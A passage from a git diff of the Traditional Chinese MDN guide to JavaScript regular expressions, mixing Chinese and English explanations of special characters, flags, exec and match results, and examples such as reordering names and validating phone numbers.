Note: JavaScript's regular expression engine defines a specific set of characters to be "word" characters. Any character not in that set is considered a word break. This set of characters is fairly limited: it consists solely of the Roman alphabet in both upper- and lower-case, decimal digits, and the underscore character. Accented characters, such as "é" or "ü" are, unfortunately, treated as word breaks.

-
\B -

吻合非文字邊界。This matches a position where the previous and next character are of the same type: Either both must be words, or both must be non-words. The beginning and end of a string are considered non-words.

- -

For example, /\B../ matches 'oo' in "noonday", and /y\B./ matches 'ye' in "possibly yesterday."

-
\cX -

Where X is a character ranging from A to Z. Matches a control character in a string.

- -

For example, /\cM/ matches control-M (U+000D) in a string.

-
\d -

吻合數字,寫法等同於 [0-9] 。

- -

例如:/\d//[0-9]/ 在 "B2 is the suite number." 中找到 '2'

-
\D -

吻合非數字,寫法等同於 [^0-9]。

- -

例如:/\D//[^0-9]/ 在 "B2 is the suite number." 中找到 'B' 。

-
\fMatches a form feed (U+000C).
\nMatches a line feed (U+000A).
\rMatches a carriage return (U+000D).
\s -

Matches a single white space character, including space, tab, form feed, line feed. Equivalent to [ \f\n\r\t\v\u00a0\u1680\u180e\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff].

- -

For example, /\s\w*/ matches ' bar' in "foo bar."

-
\S -

Matches a single character other than white space. Equivalent to [^ \f\n\r\t\v​\u00a0\​\u1680u180e\u2000​\u2001\u2002​\u2003\u2004​\u2005\u2006​\u2007\u2008​\u2009\u200a​\u2028\u2029​\u202f\u205f​\u3000].

- -

For example, /\S\w*/ matches 'foo' in "foo bar."

-
\tMatches a tab (U+0009).
\vMatches a vertical tab (U+000B).
\w -

包含數字字母與底線,等同於[A-Za-z0-9_]

- -

例如: /\w/ 符合 'apple'中的 'a' 、'$5.28中的 '5' 以及 '3D' 中的 '3'。

- -

For example, /\w/ matches 'a' in "apple," '5' in "$5.28," and '3' in "3D."

-
\W -

包含"非"數字字母與底線,等同於[^A-Za-z0-9_]

- -

例如: /\W/ 或是 /[^A-Za-z0-9_]/ 符合 "50%." 中的 '%'

- -

For example, /\W/ or /[^A-Za-z0-9_]/ matches '%' in "50%."

-
\n -

其中 n 是一個正整數,表示第 n 個括號中的子字串匹配(包含括號中的所有的字串匹配)

- -

例如: /apple(,)\sorange\1/ 符合 "apple, orange, cherry, peach." 的 'apple, orange,' 。( `\1` 表示第一個 partten ,也就是 `(,)`)

- -

For example, /apple(,)\sorange\1/ matches 'apple, orange,' in "apple, orange, cherry, peach."

-
\0Matches a NULL (U+0000) character. Do not follow this with another digit, because \0<digits> is an octal escape sequence. Instead use \x00.
\xhhMatches the character with the code hh (two hexadecimal digits)
\uhhhhMatches the character with the code hhhh (four hexadecimal digits).
- -

Escaping user input that is to be treated as a literal string within a regular expression—that would otherwise be mistaken for a special character—can be accomplished by simple replacement:

- -
function escapeRegExp(string) {
-  return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string
-}
-
- -

The g after the regular expression is an option or flag that performs a global search, looking in the whole string and returning all matches. It is explained in detail below in Advanced Searching With Flags.

- -

使用括號

- -

Parentheses around any part of the regular expression pattern causes that part of the matched substring to be remembered. Once remembered, the substring can be recalled for other use, as described in Using Parenthesized Substring Matches.

- -

For example, the pattern /Chapter (\d+)\.\d*/ illustrates additional escaped and special characters and indicates that part of the pattern should be remembered. It matches precisely the characters 'Chapter ' followed by one or more numeric characters (\d means any numeric character and + means 1 or more times), followed by a decimal point (which in itself is a special character; preceding the decimal point with \ means the pattern must look for the literal character '.'), followed by any numeric character 0 or more times (\d means numeric character, * means 0 or more times). In addition, parentheses are used to remember the first matched numeric characters.

- -

This pattern is found in "Open Chapter 4.3, paragraph 6" and '4' is remembered. The pattern is not found in "Chapter 3 and 4", because that string does not have a period after the '3'.

- -

To match a substring without causing the matched part to be remembered, within the parentheses preface the pattern with ?:. For example, (?:\d+) matches one or more numeric characters but does not remember the matched characters.

- -

運用正規表達式

- -

Regular expressions are used with the RegExp methods test and exec and with the String methods match, replace, search, and split. These methods are explained in detail in the JavaScript reference.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Methods that use regular expressions
MethodDescription
{{jsxref("RegExp.exec", "exec")}}A RegExp method that executes a search for a match in a string. It returns an array of information or null on a mismatch.
{{jsxref("RegExp.test", "test")}}A RegExp method that tests for a match in a string. It returns true or false.
{{jsxref("String.match", "match")}}A String method that executes a search for a match in a string. It returns an array of information or null on a mismatch.
{{jsxref("String.search", "search")}}A String method that tests for a match in a string. It returns the index of the match, or -1 if the search fails.
{{jsxref("String.replace", "replace")}}A String method that executes a search for a match in a string, and replaces the matched substring with a replacement substring.
{{jsxref("String.split", "split")}}A String method that uses a regular expression or a fixed string to break a string into an array of substrings.
- -

When you want to know whether a pattern is found in a string, use the test or search method; for more information (but slower execution) use the exec or match methods. If you use exec or match and if the match succeeds, these methods return an array and update properties of the associated regular expression object and also of the predefined regular expression object, RegExp. If the match fails, the exec method returns null (which coerces to false).

- -

In the following example, the script uses the exec method to find a match in a string.

- -
var myRe = /d(b+)d/g;
-var myArray = myRe.exec('cdbbdbsbz');
-
- -

If you do not need to access the properties of the regular expression, an alternative way of creating myArray is with this script:

- -
var myArray = /d(b+)d/g.exec('cdbbdbsbz'); // similar to "cdbbdbsbz".match(/d(b+)d/g); however,
-    // the latter outputs Array [ "dbbd" ], while
-    // /d(b+)d/g.exec('cdbbdbsbz') outputs Array [ "dbbd", "bb" ].
-    // See below for further info (CTRL+F "The behavior associated with the".)
- -

If you want to construct the regular expression from a string, yet another alternative is this script:

- -
var myRe = new RegExp('d(b+)d', 'g');
-var myArray = myRe.exec('cdbbdbsbz');
-
- -

With these scripts, the match succeeds and returns the array and updates the properties shown in the following table.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Results of regular expression execution.
物件Property or index說明範例
myArrayThe matched string and all remembered substrings.['dbbd', 'bb', index: 1, input: 'cdbbdbsbz']
indexThe 0-based index of the match in the input string.1
inputThe original string."cdbbdbsbz"
[0]The last matched characters."dbbd"
myRelastIndexThe index at which to start the next match. (This property is set only if the regular expression uses the g option, described in Advanced Searching With Flags.)5
sourceThe text of the pattern. Updated at the time that the regular expression is created, not executed."d(b+)d"
- -

As shown in the second form of this example, you can use a regular expression created with an object initializer without assigning it to a variable. If you do, however, every occurrence is a new regular expression. For this reason, if you use this form without assigning it to a variable, you cannot subsequently access the properties of that regular expression. For example, assume you have this script:

- -
var myRe = /d(b+)d/g;
-var myArray = myRe.exec('cdbbdbsbz');
-console.log('The value of lastIndex is ' + myRe.lastIndex);
-
-// "The value of lastIndex is 5"
-
- -

However, if you have this script:

- -
var myArray = /d(b+)d/g.exec('cdbbdbsbz');
-console.log('The value of lastIndex is ' + /d(b+)d/g.lastIndex);
-
-// "The value of lastIndex is 0"
-
- -

The occurrences of /d(b+)d/g in the two statements are different regular expression objects and hence have different values for their lastIndex property. If you need to access the properties of a regular expression created with an object initializer, you should first assign it to a variable.

- -

Using Parenthesized Substring Matches

- -

Including parentheses in a regular expression pattern causes the corresponding submatch to be remembered. For example, /a(b)c/ matches the characters 'abc' and remembers 'b'. To recall these parenthesized substring matches, use the Array elements [1], ..., [n].

- -

The number of possible parenthesized substrings is unlimited. The returned array holds all that were found. The following examples illustrate how to use parenthesized substring matches.

- -

下面這個 script 以 {{jsxref("String.replace", "replace()")}} 方法移轉字串位置。對於要被置換的文字內容,以 $1$2 來代表先前 re 這個變數裡面,找出來綑綁且照順序來表示兩個子字串。

- -
var re = /(\w+)\s(\w+)/;
-var str = 'John Smith';
-var newstr = str.replace(re, '$2, $1');
-console.log(newstr);
-
-// "Smith, John"
-
- -

Advanced Searching With Flags

- -

Regular expressions have five optional flags that allow for global and case insensitive searching. These flags can be used separately or together in any order, and are included as part of the regular expression.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Regular expression flags
FlagDescription
gGlobal search.
iCase-insensitive search.
mMulti-line search.
uunicode; treat a pattern as a sequence of unicode code points
yPerform a "sticky" search that matches starting at the current position in the target string. See {{jsxref("RegExp.sticky", "sticky")}}
- -

To include a flag with the regular expression, use this syntax:

- -
var re = /pattern/flags;
-
- -

or

- -
var re = new RegExp('pattern', 'flags');
-
- -

Note that the flags are an integral part of a regular expression. They cannot be added or removed later.

- -

For example, re = /\w+\s/g creates a regular expression that looks for one or more characters followed by a space, and it looks for this combination throughout the string.

- -
var re = /\w+\s/g;
-var str = 'fee fi fo fum';
-var myArray = str.match(re);
-console.log(myArray);
-
-// ["fee ", "fi ", "fo "]
-
- -

You could replace the line:

- -
var re = /\w+\s/g;
-
- -

with:

- -
var re = new RegExp('\\w+\\s', 'g');
-
- -

and get the same result.

- -

The behavior associated with the 'g' flag is different when the .exec() method is used. (The roles of "class" and "argument" get reversed: In the case of .match(), the string class (or data type) owns the method and the regular expression is just an argument, while in the case of .exec(), it is the regular expression that owns the method, with the string being the argument. Contrast str.match(re) versus re.exec(str).) The 'g' flag is used with the .exec() method to get iterative progression.

- -
var xArray; while(xArray = re.exec(str)) console.log(xArray);
-// produces:
-// ["fee ", index: 0, input: "fee fi fo fum"]
-// ["fi ", index: 4, input: "fee fi fo fum"]
-// ["fo ", index: 7, input: "fee fi fo fum"]
- -

The m flag is used to specify that a multiline input string should be treated as multiple lines. If the m flag is used, ^ and $ match at the start or end of any line within the input string instead of the start or end of the entire string.

- -

範例

- -

The following examples show some uses of regular expressions.

- -

Changing the order in an input string

- -

The following example illustrates the formation of regular expressions and the use of string.split() and string.replace(). It cleans a roughly formatted input string containing names (first name last) separated by blanks, tabs and exactly one semicolon. Finally, it reverses the name order (last name first) and sorts the list.

- -
// The name string contains multiple spaces and tabs,
-// and may have multiple spaces between first and last names.
-var names = 'Orange Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ';
-
-var output = ['---------- Original String\n', names + '\n'];
-
-// Prepare two regular expression patterns and array storage.
-// Split the string into array elements.
-
-// pattern: possible white space then semicolon then possible white space
-var pattern = /\s*;\s*/;
-
-// Break the string into pieces separated by the pattern above and
-// store the pieces in an array called nameList
-var nameList = names.split(pattern);
-
-// new pattern: one or more characters then spaces then characters.
-// Use parentheses to "memorize" portions of the pattern.
-// The memorized portions are referred to later.
-pattern = /(\w+)\s+(\w+)/;
-
-// Below is the new array for holding names being processed.
-var bySurnameList = [];
-
-// Display the name array and populate the new array
-// with comma-separated names, last first.
-//
-// The replace method removes anything matching the pattern
-// and replaces it with the memorized string—the second memorized portion
-// followed by a comma, a space and the first memorized portion.
-//
-// The variables $1 and $2 refer to the portions
-// memorized while matching the pattern.
-
-output.push('---------- After Split by Regular Expression');
-
-var i, len;
-for (i = 0, len = nameList.length; i < len; i++) {
-  output.push(nameList[i]);
-  bySurnameList[i] = nameList[i].replace(pattern, '$2, $1');
-}
-
-// Display the new array.
-output.push('---------- Names Reversed');
-for (i = 0, len = bySurnameList.length; i < len; i++) {
-  output.push(bySurnameList[i]);
-}
-
-// Sort by last name, then display the sorted array.
-bySurnameList.sort();
-output.push('---------- Sorted');
-for (i = 0, len = bySurnameList.length; i < len; i++) {
-  output.push(bySurnameList[i]);
-}
-
-output.push('---------- End');
-
-console.log(output.join('\n'));
-
- -

使用特殊字元驗證輸入

- -

In the following example, the user is expected to enter a phone number. When the user presses the "Check" button, the script checks the validity of the number. If the number is valid (matches the character sequence specified by the regular expression), the script shows a message thanking the user and confirming the number. If the number is invalid, the script informs the user that the phone number is not valid.

- -

Within non-capturing parentheses (?: , the regular expression looks for three numeric characters \d{3} OR | a left parenthesis \( followed by three digits \d{3}, followed by a close parenthesis \), (end non-capturing parenthesis )), followed by one dash, forward slash, or decimal point and when found, remember the character ([-\/\.]), followed by three digits \d{3}, followed by the remembered match of a dash, forward slash, or decimal point \1, followed by four digits \d{4}.

- -

The Change event activated when the user presses Enter sets the value of RegExp.input.

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
-    <meta http-equiv="Content-Script-Type" content="text/javascript">
-    <script type="text/javascript">
-      var re = /(?:\d{3}|\(\d{3}\))([-\/\.])\d{3}\1\d{4}/;
-      function testInfo(phoneInput) {
-        var OK = re.exec(phoneInput.value);
-        if (!OK)
-          window.alert(phoneInput.value + ' isn\'t a phone number with area code!');
-        else
-          window.alert('Thanks, your phone number is ' + OK[0]);
-      }
-    </script>
-  </head>
-  <body>
-    <p>Enter your phone number (with area code) and then click "Check".
-        <br>The expected format is like ###-###-####.</p>
-    <form action="#">
-      <input id="phone"><button onclick="testInfo(document.getElementById('phone'));">Check</button>
-    </form>
-  </body>
-</html>
-
- -

{{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}

diff --git a/files/zh-tw/web/javascript/guide/regular_expressions/index.md b/files/zh-tw/web/javascript/guide/regular_expressions/index.md new file mode 100644 index 00000000000000..44843740456fda --- /dev/null +++ b/files/zh-tw/web/javascript/guide/regular_expressions/index.md @@ -0,0 +1,409 @@ +--- +title: 正規表達式 +slug: Web/JavaScript/Guide/Regular_Expressions +tags: + - Guide + - JavaScript + - RegExp + - 正規表達式 +translation_of: Web/JavaScript/Guide/Regular_Expressions +--- +{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}} + +正規表達式是被用來匹配字串中字元組合的模式。在 JavaScript 中,正規表達式也是物件,這些模式在 {{jsxref("RegExp")}} 的 {{jsxref("RegExp.exec", "exec")}} 和 {{jsxref("RegExp.test", "test")}} 方法中,以及 {{jsxref("String")}} 的 {{jsxref("String.match", "match")}}、{{jsxref("String.replace", "replace")}}、{{jsxref("String.search", "search")}}、{{jsxref("String.split", "split")}} 等方法中被運用。這一章節將解說 JavaScript 中的正規表達式。 + +## 建立正規表達式 + +您可透過下列兩種方法去創建一條正規表達式: + +使用正規表達式字面值(regular expression literal),包含兩個 `/` 字元之間的模式如下: + +```plain +var re = /ab+c/; +``` + +正規表達式字面值在 script 載入時會被編譯,當正規表達式為定值時,使用此方法可獲得較佳效能。 + +或呼叫 {{jsxref("RegExp")}} 物件的建構函式,如下: + +```plain +var re = new RegExp('ab+c'); +``` + +使用建構子函數供即時編譯正則表達式,當模式會異動、事先未知匹配模式、或者您將從其他地方取得時,使用建構子函數將較為合適。 + +## 撰寫正規表達模式 + +正規表達模式由數個簡易字元組成,例如 `/abc/`,或是由簡易字元及特殊符號組合而成,例如 `/ab*c/`、`/Chapter (\d+)\.\d*/ )`。最後一個範例用到了括號,這在正規表達式中用作記憶組,使用括號的匹配將會被留到後面使用,在[使用帶括號的配對子字串](#Using_Parenthesized_Substring_Matches)有更多解釋。 + +### 使用簡易模式 + +簡易的模式是有你找到的直接匹配所構成的。比如:`/abc/` 這個模式就匹配了在一個字符串中,僅僅字符 `'abc'` 同時出現並按照這個順序。這兩個句子中「_Hi, do you know your abc's?_」和「_The latest airplane designs evolved from slabcraft._」就會匹配成功。在上面的兩個實例中,匹配的是子字符串 'abc'。在字符串中的 "Grab crab"('ab c') 中將不會被匹配,因為它不包含任何的 'abc' 字符串。 + +### 使用特殊字元 + +當你需要搜尋一個比直接匹配需要更多條件的匹配,比如搜尋一或多個 'b',或者搜尋空格,那麼這個模式將要包含特殊字符。例如: 模式 `/ab*c/` 匹配了一個單獨的 'a' 後面跟了零或多個 'b'(\* 的意思是前面一項出現了零或多個),且後面跟著 'c' 的任何字符組合。在字符串 "cbbabbbbcdebc" 中,這個模式匹配了子字符串 "abbbbc"。 + +下面的表格列出了在正則表達式中可以利用的特殊字符完整列表以及描述。 + +| 字元 | 解說 | +| --------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| [`\`](#special-backslash) | 反斜線放在非特殊符號前面,使非特殊符號不會被逐字譯出,代表特殊作用。 例如:'b' 如果沒有 '\\' 在前頭,功能是找出小寫 b;若改為 '\b' 則代表的是邊界功能,block 用意。 /\bter\b/.test("interest") //false /\bter\b/.test("in ter est") //true `/a*/` 找出 0 個或是 1 個以上的 a;而 /a\\\*/ 找出 'a\*' 這個字串 /aaaa\*/g.test("caaady") //true /a\\\*/.test("caaady") //false '\\' 也能使自身表現出來,表現 '\\' ,必須以 '\\\\' 表達。 /\[\\\\]/.test(">\\\\<") //true | +| [`^`](#special-caret) | 匹配輸入的開頭,如果 multiline flag 被設為 true,則會匹配換行字元後。例如:`/^A/` 不會匹配「an A」的 A,但會匹配「An E」中的 A。「`^`」出現在字元集模式的字首中有不同的意思,詳見[補字元集](#special-negated-character-set)。 | +| [`$`](#special-dollar) | 匹配輸入的結尾,如果 multiline flag 被設為 true,則會匹配換行字元。例如:`/t$/` 不會匹配「eater」中的 t,卻會匹配「eat」中的 t。 | +| [`*`](#special-asterisk) | 匹配前一字元 0 至多次。 下面舉例要求基本 'aaaa' ,'a\*' 後面有 0 個或多個 a 的意思 /aaaaa\*/g.test("caaady") //false 例如:`/bo*/` 匹配「A ghost booooed」中的 boooo、「A bird warbled」中的 b,但在「A goat grunted」中不會匹配任何字串。 | +| [`+`](#special-plus) | 匹配前一字元 1 至多次,等同於 `{1,}`。例如:`/a+/` 匹配「candy」中的 a,以及所有「caaaaaaandy」中的 a。 | +| [`?`](#special-questionmark) | 匹配前一字元 0 至 1 次,等同於 `{0,1}`。例如:`/e?le?/` 匹配「angel」中的 el、「angle」中的 le、以及「oslo」中的 l。如果是使用在 `*`、`+`、`?` 或 `{}` 等 quantifier 之後,將會使這些 quantifier non-greedy(也就是儘可能匹配最少的字元),與此相對的是 greedy(匹配儘可能多的字元)。例如:在「123abc」中應用 `/\d+/` 可匹配「123」,但使用 `/\d+?/` 在相同字串上只能匹配「1」。 Also used in lookahead assertions, as described in the `x(?=y)` and `x(?!y)` entries of this table. | +| [`.`](#special-dot) | (小數點)匹配除了換行符號之外的單一字元。例如:/.n/ 匹配「nay, an apple is on the tree」中的 an 和 on,但在「nay」中沒有匹配。 | +| [`(x)`](#special-capturing-parentheses) | Capturing Parentheses 匹配 'x' 並記住此次的匹配,如下面的範例所示。在 正則表達示 /(foo) (bar) \1 \2/ 中的 (foo) 與 (bar) 可匹配了 "foo bar foo bar" 這段文字中的前兩個字,而 \1 與 \2 則匹配了後面的兩個字。注意, \1, \2, ..., \n 代表的就是前面的 pattern,以本範例來說,/(foo) (bar) \1 \2/ 等同於 /(foo) (bar) (foo) (bar)/。用於取代(replace)的話,則是用 $1, $2,...,$n。如 'bar boo'.replace(/(...) (...)/, '$2 $1'). `$&` 表示已匹配的字串 | +| [`(?:x)`](#special-non-capturing-parentheses) | *Non-Capturing Parentheses*找出 'x',這動作不會記憶 `()`為 group 的意思,檢查時會再 wrap 一次,若有 `g` flag 會無效, `?:` 代表只要 group 就好,不要 wrap 有無 `()` 差別 ? `'foo'.match(/(foo)/)` `// ['foo', 'foo', index: 0, input: 'foo' ] 'foo'.match(/foo/) // [ 'foo', index: 0, input: 'foo' ]`有無`?:`差別? `'foo'.match(/(foo){1,2}/) // [ 'foo', 'foo', index: 0, input: 'foo' ] 'foo'.match(/(?:foo){1,2}/) [ 'foo', index: 0, input: 'foo' ]` 連`()`都沒有,則`{1,2}`只是適用在`foo`的第二個`o`的條件而已。更多資訊詳見 [Using parentheses](/zh-TW/docs/Web/JavaScript/Guide/Regular_Expressions#Using_parentheses) 。 | +| [`x(?=y)`](#special-lookahead) | 符合'x',且後接的是'y'。'y'為'x'存在的意義。 例如:`/Jack(?=Sprat)/,`在後面是 Sprat 的存在下,Jack 才有意義。 `/Jack(?=Sprat\|Frost)/`後面是 Sprat「或者是」Frost 的存在下,Jack 才有意義。但我們要找的目標是 Jack,後面的條件都只是 filter/條件的功能而已。 | +| [`x(?!y)`](#special-negated-look-ahead) | 符合'x',且後接的不是'y'。'y'為否定'x'存在的意義,後面不行前功盡棄(negated lookahead)。 例如: `/\d+(?!\.)/` ,要找一個或多個數字時,在後面接的不是「點」的情況下成立。 `var result = /\d+(?!\.)/.exec("3.141")` , result 執行出來為\[ '141', index: 2, input: '3.141'], index:2,代表 141 從 index = 2 開始。 | +| [`x\|y`](#special-or) | 符合「x」或「y」。舉例來說,`/green\|red/` 的話,會匹配 `"green apple"` 中的 `"green"` 以及 `"red apple."` 的 `"red"` 。 | +| [`{n}`](#special-quantifier) | 規定符號確切發生的次數,n 為正整數例如:`/a{2}/`無法在 "candy" 找到、但 "caandy" 行;若字串擁有 2 個以上 "caaandy" 還是只會認前面 2 個。 | +| [`{n,m}`](#special-quantifier-range) | 搜尋條件:n 為至少、m 為至多,其 n、m 皆為正整數。若把 m 設定為 0,則為 Invalid regular expression。例如:`/a{1,3}/ `無法在 "cndy" 匹配到;而在 "candy" 中的第 1 個"a"符合;在 "caaaaaaandy" 中的前 3 個 "aaa" 符合,雖然此串有許多 a,但只認前面 3 個。 | +| [`[xyz]`](#special-character-set) | 字元的集合。此格式會匹配中括號內所有字元, including [escape sequences](/zh-TW/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences)。特殊字元,例如點(`.`) 和米字號(`*`),在字元集合中不具特殊意義,所以不需轉換。若要設一個字元範圍的集合,可以使用橫線 `"-"` ,如下例所示: `[a-d] `等同於 `[abcd]。`會匹配 "brisket" 的 "b" 、"city" 的 'c' ……等。 而`/[a-z.]+/ `和 `/[\w.]+/` 均可匹配字串 "test.i.ng" 。 | +| [`[^xyz]`](#special-negated-character-set) | bracket 中寫入的字元將被否定,匹配非出現在 bracket 中的符號。 可用 '-' 來界定字元的範圍。一般直接表達的符號都可以使用這種方式。`[^abc]`可以寫作\[^`a-c]`. "brisket" 中找到 'r' 、"chop."中找到 'h'。 | +| [`[\b]`](#special-backspace) | 吻合倒退字元 (U+0008). (不會跟 \b 混淆) | +| [`\b`](#special-word-boundary) | 吻合文字邊界。A word boundary matches the position where a word character is not followed or preceded by another word-character. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero. (Not to be confused with `[\b]`.)Examples: `/\bm/` matches the 'm' in "moon" ; `/oo\b/` does not match the 'oo' in "moon", because 'oo' is followed by 'n' which is a word character; `/oon\b/` matches the 'oon' in "moon", because 'oon' is the end of the string, thus not followed by a word character; `/\w\b\w/` will never match anything, because a word character can never be followed by both a non-word and a word character.**Note:** JavaScript's regular expression engine defines a [specific set of characters](http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.2.6) to be "word" characters. Any character not in that set is considered a word break. This set of characters is fairly limited: it consists solely of the Roman alphabet in both upper- and lower-case, decimal digits, and the underscore character. Accented characters, such as "é" or "ü" are, unfortunately, treated as word breaks. | +| [`\B`](#special-non-word-boundary) | 吻合非文字邊界。This matches a position where the previous and next character are of the same type: Either both must be words, or both must be non-words. The beginning and end of a string are considered non-words.For example, `/\B../` matches 'oo' in "noonday", and `/y\B./` matches 'ye' in "possibly yesterday." | +| [`\cX`](#special-control) | Where _X_ is a character ranging from A to Z. Matches a control character in a string.For example, `/\cM/` matches control-M (U+000D) in a string. | +| [`\d`](#special-digit) | 吻合數字,寫法等同於 `[0-9] 。`例如:`/\d/` 或 `/[0-9]/` 在 "B2 is the suite number." 中找到 '2' | +| [`\D`](#special-non-digit) | 吻合非數字,寫法等同於 `[^0-9]。`例如:`/\D/` 或`/[^0-9]/` 在 "B2 is the suite number." 中找到 'B' 。 | +| [`\f`](#special-form-feed) | Matches a form feed (U+000C). | +| [`\n`](#special-line-feed) | Matches a line feed (U+000A). | +| [`\r`](#special-carriage-return) | Matches a carriage return (U+000D). | +| [`\s`](#special-white-space) | Matches a single white space character, including space, tab, form feed, line feed. Equivalent to `[ \f\n\r\t\v\u00a0\u1680\u180e\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]`.For example, `/\s\w*/` matches ' bar' in "foo bar." | +| [`\S`](#special-non-white-space) | Matches a single character other than white space. Equivalent to `[^ \f\n\r\t\v​\u00a0\​\u1680u180e\u2000​\u2001\u2002​\u2003\u2004​\u2005\u2006​\u2007\u2008​\u2009\u200a​\u2028\u2029​\u202f\u205f​\u3000]`.For example, `/\S\w*/` matches 'foo' in "foo bar." | +| [`\t`](#special-tab) | Matches a tab (U+0009). | +| [`\v`](#special-vertical-tab) | Matches a vertical tab (U+000B). | +| [`\w`](#special-word) | 包含數字字母與底線,等同於`[A-Za-z0-9_]`。例如: `/\w/` 符合 'apple'中的 'a' 、'$5.28 中的 '5' 以及 '3D' 中的 '3'。For example, `/\w/` matches 'a' in "apple," '5' in "$5.28," and '3' in "3D." | +| [`\W`](#special-non-word) | 包含"非"數字字母與底線,等同於`[^A-Za-z0-9_]`。例如: `/\W/` 或是 `/[^A-Za-z0-9_]/` 符合 "50%." 中的 '%'For example, `/\W/` or `/[^A-Za-z0-9_]/` matches '%' in "50%." | +| [`\n`](#special-backreference) | 其中 _n_ 是一個正整數,表示第 _n_ 個括號中的子字串匹配(包含括號中的所有的字串匹配)例如: `/apple(,)\sorange\1/` 符合 "apple, orange, cherry, peach." 的 'apple, orange,' 。( \`\1\` 表示第一個 partten ,也就是 \`(,)\`)For example, `/apple(,)\sorange\1/` matches 'apple, orange,' in "apple, orange, cherry, peach." | +| [`\0`](#special-null) | Matches a NULL (U+0000) character. Do not follow this with another digit, because `\0` is an octal [escape sequence](/zh-TW/docs/JavaScript/Guide/Values,_variables,_and_literals#Unicode_escape_sequences). Instead use `\x00`. | +| [`\xhh`](#special-hex-escape) | Matches the character with the code hh (two hexadecimal digits) | +| [`\uhhhh`](#special-unicode-escape) | Matches the character with the code hhhh (four hexadecimal digits). | + +Escaping user input that is to be treated as a literal string within a regular expression—that would otherwise be mistaken for a special character—can be accomplished by simple replacement: + +```plain +function escapeRegExp(string) { + return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string +} +``` + +The g after the regular expression is an option or flag that performs a global search, looking in the whole string and returning all matches. It is explained in detail below in [Advanced Searching With Flags](/zh-TW/docs/Web/JavaScript/Guide/Regular_Expressions#Advanced_searching_with_flags). + +### 使用括號 + +Parentheses around any part of the regular expression pattern causes that part of the matched substring to be remembered. Once remembered, the substring can be recalled for other use, as described in [Using Parenthesized Substring Matches](#Using_parenthesized_substring_matches). + +For example, the pattern `/Chapter (\d+)\.\d*/` illustrates additional escaped and special characters and indicates that part of the pattern should be remembered. It matches precisely the characters 'Chapter ' followed by one or more numeric characters (`\d` means any numeric character and `+` means 1 or more times), followed by a decimal point (which in itself is a special character; preceding the decimal point with \ means the pattern must look for the literal character '.'), followed by any numeric character 0 or more times (`\d` means numeric character, `*` means 0 or more times). In addition, parentheses are used to remember the first matched numeric characters. + +This pattern is found in "Open Chapter 4.3, paragraph 6" and '4' is remembered. The pattern is not found in "Chapter 3 and 4", because that string does not have a period after the '3'. + +To match a substring without causing the matched part to be remembered, within the parentheses preface the pattern with `?:`. For example, `(?:\d+)` matches one or more numeric characters but does not remember the matched characters. + +## 運用正規表達式 + +Regular expressions are used with the `RegExp` methods `test` and `exec` and with the `String` methods `match`, `replace`, `search`, and `split`. These methods are explained in detail in the [JavaScript reference](/zh-TW/docs/Web/JavaScript/Reference). + +| Method | Description | +| ---------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | +| {{jsxref("RegExp.exec", "exec")}} | A `RegExp` method that executes a search for a match in a string. It returns an array of information or null on a mismatch. | +| {{jsxref("RegExp.test", "test")}} | A `RegExp` method that tests for a match in a string. It returns true or false. | +| {{jsxref("String.match", "match")}} | A `String` method that executes a search for a match in a string. It returns an array of information or null on a mismatch. | +| {{jsxref("String.search", "search")}} | A `String` method that tests for a match in a string. It returns the index of the match, or -1 if the search fails. | +| {{jsxref("String.replace", "replace")}} | A `String` method that executes a search for a match in a string, and replaces the matched substring with a replacement substring. | +| {{jsxref("String.split", "split")}} | A `String` method that uses a regular expression or a fixed string to break a string into an array of substrings. | + +When you want to know whether a pattern is found in a string, use the `test` or `search` method; for more information (but slower execution) use the `exec` or `match` methods. If you use `exec` or `match` and if the match succeeds, these methods return an array and update properties of the associated regular expression object and also of the predefined regular expression object, `RegExp`. If the match fails, the `exec` method returns `null` (which coerces to `false`). + +In the following example, the script uses the `exec` method to find a match in a string. + +```plain +var myRe = /d(b+)d/g; +var myArray = myRe.exec('cdbbdbsbz'); +``` + +If you do not need to access the properties of the regular expression, an alternative way of creating `myArray` is with this script: + +```plain +var myArray = /d(b+)d/g.exec('cdbbdbsbz'); // similar to "cdbbdbsbz".match(/d(b+)d/g); however, + // the latter outputs Array [ "dbbd" ], while + // /d(b+)d/g.exec('cdbbdbsbz') outputs Array [ "dbbd", "bb" ]. + // See below for further info (CTRL+F "The behavior associated with the".) +``` + +If you want to construct the regular expression from a string, yet another alternative is this script: + +```plain +var myRe = new RegExp('d(b+)d', 'g'); +var myArray = myRe.exec('cdbbdbsbz'); +``` + +With these scripts, the match succeeds and returns the array and updates the properties shown in the following table. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Results of regular expression execution. +
物件Property or index說明範例
myArrayThe matched string and all remembered substrings.['dbbd', 'bb', index: 1, input: 'cdbbdbsbz']
indexThe 0-based index of the match in the input string.1
inputThe original string."cdbbdbsbz"
[0]The last matched characters."dbbd"
myRelastIndex + The index at which to start the next match. (This property is set only + if the regular expression uses the g option, described in + Advanced Searching With Flags.) + 5
